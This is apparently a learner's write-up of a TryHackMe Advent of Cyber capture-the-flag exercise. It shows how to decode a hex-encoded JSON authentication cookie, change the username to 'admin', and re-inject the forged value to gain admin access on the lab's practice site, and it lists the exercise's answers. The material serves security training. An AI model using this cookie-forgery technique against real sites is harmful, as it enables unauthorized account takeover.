Advent Of Cyber 3 - Day 2
Good rooms from tryhackme.com where information about HTTP and Cookies can be found:
Todays challenge, static site on: Best Festival Monitoring
register an account: user: test mail: testing@test.se pass:testing123
when trying to create an account, a warning about we’re not allowed to create an account yet pops up:
a cookie is created, called: user-auth
user-auth:"7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2274657374227d"
with some default values like Domain, HostOnly and such.
type of encoding on the value: Hexadecimal
{company: "The Best Festival Company", isregistered:"True", username:"test"}
it’s stored in object format: JSON
Use Cyberchef to create a new hex-value for, so we change the “username” to “admin” instead of “test”.
resulting value for the cookie:
7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d
manipulate the “value” portion in the browser for the user-auth cookie and refresh the webpage.
The team environment that isn’t responding is: HR
Team environment with network warning: Application
EOF